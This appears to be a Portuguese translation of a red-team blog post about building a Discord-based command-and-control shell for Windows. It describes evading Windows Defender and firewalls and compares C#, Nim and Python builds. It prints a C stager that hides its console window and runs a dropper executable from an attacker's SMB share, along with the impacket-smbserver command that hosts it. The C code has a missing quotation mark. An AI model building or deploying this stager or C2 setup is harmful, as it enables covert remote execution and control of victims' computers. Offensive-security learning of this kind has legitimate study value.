Armando Discord Shell via SMB
No blog/vídeo anterior (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08) discutimos como utilizar o Discord para executar comandos remotos. Desta vez abordaremos as limitações mencionadas.
Se preferir assistir a um vídeo em vez de ler, sinta-se bem-vindo ao meu canal:https://youtu.be/Bocf7xM7XWQ
Embora os resultados tenham sido bons (ignorando o Windows Defender, ignorando as restrições do firewall enviando/recebendo comandos em um canal confiável e criptografado), tivemos que lidar com um tamanho de arquivo extremamente grande (mais de 40 MB), além de ocultar o processo e a experiência da GUI .
Eu tive várias ideias que vou passar agora, no final cada ideia tem seu próprio espaço para o fracasso. Não posso dizer que desenvolvi um shell estável, mas meio que consegui algo para funcionar. Vamos começar!

Ideia 1 — Criar um bot do Discord com C#
O problema com python e nuitka era o enorme tamanho do arquivo, porque o nuitka precisava compilar e combinar todas as bibliotecas incluídas. O código personalizado é pequeno, todo o bot não tinha mais de 40 linhas de código. Mesmo que o bot esteja funcionando perfeitamente, é perigoso soltar um executável de mais de 40 MB no alvo.
Isso me fez pensar em formas alternativas de criar o shell. Minha ideia inicial era criar o bot com framework .net. Você pode perguntar por que não .net core? Bem, o .net framework está pré-instalado em todos os PCs com Windows, o que significa que se eu compilar um código em executável, ele será executado sem problemas. Se eu fosse construí-lo no .net core, eu praticamente teria 2 opções.
1. Envie todas as minhas DLLs junto com o executável.
2. Compile um PE independente.
Quando me aprofundei na biblioteca do Discord para C# (https://discordnet.dev/guides/introduction/intro.html) Percebi que a única opção para mim é construí-lo com .net core, já que o .net framework acabou ficando sem suporte. Depois de muitas tentativas de fazê-lo funcionar no framework .net, fiquei chateado e decidi tentar uma abordagem diferente.
Você pode perguntar agora, por que não ir com a opção 2? Bem, eu fui com isso e enfrentei praticamente o mesmo problema. O binário .net core era ainda maior que o nuitka.
Talvez haja uma maneira de executá-lo no framework .net, mas é necessário mais tempo de pesquisa e teste, deixarei isso para o futuro! Se movendo!
Idéia 2 - Bom e Velho Nim
Depois de pesquisar em quais idiomas posso construir o bot, surpreendentemente, me deparei com o Nim e sua biblioteca Dimscord (https://github.com/krisppurg/dimscord). Eu tentei isso com um pouco de ceticismo, mas descobri que o bot estava funcionando bem e o tamanho do arquivo era pequeno. Perfeito!
Como todas as coisas que parecem perfeitas, não são!
Nim teve um problema geral e esse é o suporte SSL. Quando você compila e usa o bot na mesma máquina, ele funciona de maneira incrível. Assim que você transfere isso para a caixa da vítima, você vê que:

Sim, você precisa executar suas DLLs SSL junto com seu executável. Não é tão perfeito né? Claro, muita pesquisa foi feita sobre como isso pode ser contornado, mas minhas esperanças morreram quando vi isso:

Se movendo!
Ideia 3 — Preparar o binário original de Nuitka
Até agora, essa foi a minha melhor ideia desse tipo de trabalho. Acho melhor executar a solicitação SMB do que descartar mais de 40 MB executáveis no destino.
A ideia aqui é simples, hospedar o binário com impacket-smbserver e criar um C POC simples para prepará-lo! Vamos percorrer o código C:
#include <stdio.h>
#include <windows.h>
int main()
{
HWND myWindow = GetConsoleWindow();
ShowWindow(myWindow, SW_HIDE);
system(\\\\IP\\shareName\\dropper.exe");
}
A próxima parte é simples, execute o arquivo no compartilhamento remoto.
Depois de hospedá-lo com:
impacket-smbserver smb . -ts -debug -smb2support

Empacotando
Claro, há muito espaço para melhorar, mas até agora as coisas estão ficando cada vez melhores. No futuro, podemos tentar ocultar o stager em si ou mudar completamente a abordagem novamente.
Espero que isso dê uma boa base de como você pode pensar fora da caixa e encontrar uma solução hacky para um problema.
Sinta-se bem-vindo ao meu servidor Discord (sem bots C2, não se preocupe), onde compartilhamos experiência e conhecimento:https://discord.gg/dWCe5ZMvtQ
Além disso, gostaria de receber seu apoio se inscrevendo no meu Youtube:https://www.youtube.com/c/Lsecqt, isso significa muito para mim!
Espero que tenham gostado e aprendido algo novo!
Se você quiser apoiar meu trabalho, pode fazê-lo com cafés e Bitcoin:
https://www.buymeacoffee.com/lsecqt
3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC